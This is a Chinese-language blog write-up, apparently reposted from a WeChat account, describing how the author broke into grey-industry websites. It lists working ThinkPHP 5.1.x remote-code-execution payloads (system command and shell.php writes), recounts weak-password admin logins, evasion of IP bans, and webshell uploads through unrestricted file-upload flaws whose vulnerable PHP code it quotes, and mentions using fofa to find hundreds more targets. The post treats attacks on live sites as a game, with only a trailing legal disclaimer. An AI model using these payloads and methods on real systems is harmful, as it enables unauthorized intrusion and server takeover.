从一个0day到两个0day的奇妙之旅

admin 2022年5月15日01:22:34评论66 views字数 2542阅读8分28秒阅读模式

本文来源:https://blog.zygd.site/


0x00 前言

最近一直在和团队表哥们实战打击灰黑产业 学到了很多经验 以此文来记录下挖掘的两个0day

以下渗透均为本地测试

0x01 信息收集


做了一波简单的收集如下:

  • 域名:http://zb.target.com

  • 真实IP:106.xx.xx.205

  • Nginx + PHP

  • ThinkPHP V5.1.6(开启debug)

  • 宝塔WAF 🤷‍♂️

  • 后台:http://zb.target.com/admin/login


看到Thinkphp 我想到的就是拿payload一把梭哈他

(奈何对方有宝塔WAF😢 没能绕过去)

因本人学艺不精,不会bypass,哭晕了😂


SHELL

thinkphp5.1.x payload
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

从一个0day到两个0day的奇妙之旅

那咋办呢? 

当然是继续干啊 还有前台后台没看呢!


0x02 漏洞挖掘


前台:

从一个0day到两个0day的奇妙之旅


后台:

从一个0day到两个0day的奇妙之旅

拿出祖传弱口令 admin admin (弱口令是真的香😂

从一个0day到两个0day的奇妙之旅

来到后台嘛 肯定是找找上传点 找找注入(毕竟tp5 采用PDO 想了想算了吧)


最终在 http://zb.target.com/admin/Config/adds 找到一处上传点


反手就是一波抓包 、丢Repeater 改后缀 放包


从一个0day到两个0day的奇妙之旅


然后... 我就被ban了(哈哈哈哈,调皮,年轻人不讲伍德)

从一个0day到两个0day的奇妙之旅


ban IP 就能阻止我的脚步?


换个IP 继续干!(年轻人你好自为之)


有了前车之鉴 还是先看下黑白名单吧 

在经过我 不断换IP 后 得出结论...

这是一个任意文件上传


从一个0day到两个0day的奇妙之旅


漏洞是有了 但是宝塔咋绕啊 (检测内容+后缀限制)


没办法 只有收集下指纹 找找后台弱口令 


去拿其他网站 在打包源码下来审计咯(闪电鞭,劈里啪啦)


keyword

从一个0day到两个0day的奇妙之旅


40多个站 弱口令还是很容易找到的


从一个0day到两个0day的奇妙之旅


从一个0day到两个0day的奇妙之旅

果然没有宝塔的限制 就是一帆风顺(宝塔真恶心 淦)


0x03 代码审计


开始审计!


由于该套源码采用tp5框架注入就不看了 着重看功能点和权限验证


文件上传


PHP

public function adds(){

if (!empty($_FILES['img']['tmp_name']))
{
$uploadModel = new appcommonserviceUploadService('img');
$aa = $uploadModel->upload();
$data['img'] = $aa;

}

$data['addtime'] = date('Y-m-d H:i:s',time());
$data['url'] = $_POST['url'];
$data['types'] = $_POST['types'];

$service = new appcommonentitySl();
$result = $service->addArticle($data);
$this->success('新增成功', 'config/sl');


}

PHP

public function upload()
{
$file = request()->file($this->name);
$info = $file->move('uploads');
if ($info) {


return $this->fileName = '/uploads/' . $info->getSaveName();

} else {

$this->error = $file->getError();
return false;
}
}

可以看到 完全没做任何限制 妥妥的任意文件上传


2. 文件上传
 (2)

PHP

public function uploadEditor()
{
$uploadModel = new appcommonserviceUploadService('image');
if ($uploadModel->upload()) {
return json([
'errno' => 0,
'data' => [$uploadModel->fileName]
]);
}
return json([
'errno' => 1,
'fail ' => $uploadModel->error
]);
}

有了第一个洞 、第二个洞就很好找了


又是一处任意文件上传 、不过是在前台 需要用户登录


在经过一番审计后 发现两个任意文件上传 前台 后台 其他的洞没发现(接触审计时间太短了挖不出来呀)


但是目标站上使用了宝塔WAF 由于自己太菜 没法绕过 选择放弃


0x04 转角遇见洞


在我拿着shell 一筹莫展的时候 发现

从一个0day到两个0day的奇妙之旅


还有另外一个站 都在一台服务器上 肯定也不是啥好东西 看看是个啥站

从一个0day到两个0day的奇妙之旅


金手指 一看就不是好东西 搞个用户进里面看看


从一个0day到两个0day的奇妙之旅

应该是个接单赚佣金的平台吧 进都进来了 哪能就这么走了呀 挖挖前台的洞


启用了 httponly (xss就先不测试了)


在修改个人资料处 找到一处上传点

从一个0day到两个0day的奇妙之旅


base64上传 我直接反手 修改jpegphp

从一个0day到两个0day的奇妙之旅


操作成功?


又一个0day?


从一个0day到两个0day的奇妙之旅


可能这就是运气吧!


收集下指纹 fofa查了一手


从一个0day到两个0day的奇妙之旅

500多个 美滋滋~


0x05 总结


总体来说还是非常简单的


这两套系统都是可以前台后台直接getshell的 但是需要用户登录(注册需要邀请码)

从弱口令到0day挖掘 总结一下:弱口令永远滴神!!!


最后的最后未授权测试是违法的哦!😂


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后

学习更多渗透技能!供靶场练习技能


从一个0day到两个0day的奇妙之旅

扫码领黑客视频资料及工具

从一个0day到两个0day的奇妙之旅

原文始发于微信公众号(渗透师老A):从一个0day到两个0day的奇妙之旅

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月15日01:22:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从一个0day到两个0day的奇妙之旅http://cn-sec.com/archives/1004656.html

发表评论

匿名网友 填写信息